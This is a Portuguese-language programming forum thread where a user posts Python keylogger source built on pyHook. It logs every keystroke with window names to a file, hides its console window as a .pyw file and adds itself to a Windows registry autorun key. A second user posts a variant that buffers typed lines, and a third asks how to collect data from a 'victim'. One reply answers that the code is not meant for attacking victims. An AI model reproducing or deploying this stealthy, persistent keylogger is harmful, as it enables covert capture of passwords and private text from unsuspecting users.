• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

Kratos

[PyTeam] Simples Keylogger [pyHook]

10 mensagens neste tópico

Era apenas para eu testar a lib pyHook, mas na impolgação, ele inicia com o Windows e roda oculto da lista de aplicativos (Huuuuuuuuuuuuaaaaaaaaaaa.. :P)

# coding: iso-8859-1 -*-

import pyHook # Importando o pyHook
import os, sys
import _winreg as winreg

def dbCreateLog(key, wName):
# Tratando as Teclas
if key == "Space":
	key = "[ Espaço ]"
if key == "Tab":
	key = "[TAB]"
if key == "Capital":
	key = "[Caps Lock]"
if key == "Lshift":
	key = "[sHIFT Esq]"
if key == "Lcontrol":
	key = "[Control Esq]"
if key == "Lmenu":
	key = "[Alt Esq]"
if key == "Rmenu":
	key = "[Alt Dir]"
if key == "Rcontrol":
	key = "[Control Dir]"
if key == "Rshift":
	key = "[sHIFT Dir]"
if key == "Return":
	key = "[ENTER]"
if key == "Back":
	key = "[backspace]"
if key == "Oem_Comma":
	key = "[VIRGULA]"
if key == "Oem_Period":
	key = "[PONTO]"
if key == "2":
	key = "['@' OU 2]"
if key == "Left":
	key = "[Esquerda]"
if key == " Right":
	key = "[Direita]"
if key == "Up":
	key = "[Para Cima]"
if key == "Down":
	key = "[Para Baixo]"
if key == "Oem_Minus":
	key = " _ "
if key == "Numpad0":
	key = "0"
if key == "Numpad1":
	key = "1"
if key == "Numpad2":
	key = "2"
if key == "Numpad3":
	key = "3"
if key == "Numpad4":
	key = "4"
if key == "Numpad5":
	key = "5"
if key == "Numpad6":
	key = "6"
if key == "Numpad7":
	key = "7"
if key == "Numpad8":
	key = "8"
if key == "Numpad9":
	key = "9"
if key == "Numpad0":
	key = "0"

# Arquivo de log
file = "KeyLogg2.txt" # ".html"
f = open(file, "a")
nomeJanela = str(wName)
f.write(nomeJanela + "--")
if wName != nomeJanela:
	f.write(wName + "--")
i = 0
for i in range(i+1):
	f.write(key)
	# Salvando as teclas
f.close

def OnKeyboardEvent(event):
"""Cria a função para catalogar a tecla"""
WindowName = event.WindowName # Janelas
key = event.Key # Teclas	
print "[%s] - %s" %(WindowName, key)
dbCreateLog(key, WindowName)
#return key # retorna a tecla
return True

hm = pyHook.HookManager() # Cria a instancia
hm.KeyDown = OnKeyboardEvent # Registra a o evento (callbacks)
hm.HookKeyboard() # Inicia o Hook (varredura das teclas digitadas)

def autoRunReg():
try:
	fileName = str("%s") %(sys.argv[0])
	dirFile = """%s+\%s""" %(os.getcwd() ,fileName)

	value = (dirFile)
	print value

	key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows NT\CurrentVersion\Windows")
	winreg.SetValueEx(key, "load", None, winreg.REG_SZ, value)
except: pass

if __name__ == '__main__':
try:
	autoRunReg()
except: pass	
import pythoncom
pythoncom.PumpMessages()

Obs: pySimplesKeylog.pyw

Kratos

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

No # do coding, esqueceste-te do -*- dps do #. :confused:

E podias explicar o porquê do .pyw (há gente que não sabe :D).

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

No # do coding, esqueceste-te do -*- dps do #. :D

E podias explicar o porquê do .pyw (há gente que não sabe :confused:).

.py -> com MS-DOS

.pyw -> sem MS-DOS

:D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

No # do coding, esqueceste-te do -*- dps do #. :)

E podias explicar o porquê do .pyw (há gente que não sabe :confused:).

.py -> com MS-DOS

.pyw -> sem MS-DOS

:D

Faço das tuas palavras, as minhas... :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Olá, estou testando o código e fazendo um keylogger aos poucos, como não conheço nada sobre essa biblioteca.

O pyHook tem um pequeno Bug, que quando estou digitando se coloco acentos como " ´ " ou " ^ " + letra:

digamos que eu digite ´ + a, o sistema operacional retorna: ´´a

Existe alguma forma do pyHook ignorar caracteres especiais que usamos muito no Brasil?

Meu código:


# -*- coding: cp1252 -*-

import pyHook

def log(key, wName):
    f = open("Log1.txt", "a")
    wName = str(wName)
    wName = "\n-----\n" + wName + "\n"
    f.write(wName)
    f.write(key)
    f.close()

aux = ""

def OnKeyboardEvent(event):
    global aux
    wName = event.WindowName
    key = event.Key
    key = key.lower() # todas minúsculas
    if key == "return": # quando Return é pressionada ele grava o log no arquivo
        aux = aux + "\n"
        key = aux
        aux = ""
        log(key, wName)
    else:
        if key == "space": #space
            key = " "
        if key == "back": # backspace
            aux = aux[:len(aux)-1] # apagar a última letra
            key = ""
        aux = aux + key
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

import pythoncom
pythoncom.PumpMessages()

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Kratos... eu não programo Python mas tipo ... onde ta a parte no programa para "scanar" as letras do A ao Z?

(grandes aqueles que comentam o código)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Kratos... eu não programo Python mas tipo ... onde ta a parte no programa para "scanar" as letras do A ao Z?

(grandes aqueles que comentam o código)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

no meu esta dando erro no " print "[%s] - %s" %(WindowName, key) " o que eu faço para resolver?

mais Uma Coisinha

Se Eu Por Este Keylogger numa vitima a onde eu recebo os dados dela?

Desculpem as Minhas Proguntas eu sou novo em python

Cumprimentos

Editado por Danielt7
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

no meu esta dando erro no " print "[%s] - %s" %(WindowName, key) " o que eu faço para resolver?

Depende da versão do Python que estás a utilizar. Se estás a utilizar a versão 3, então o print é totalmente diferente.

Se Eu Por Este Keylogger numa vitima a onde eu recebo os dados dela?

Isto não é suposto atacar vítimas. Isto é suposto ser uma mera brincadeira para testar um módulo. Se pretendes saber como atacar vítimas com este código, estás no sítio errado.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora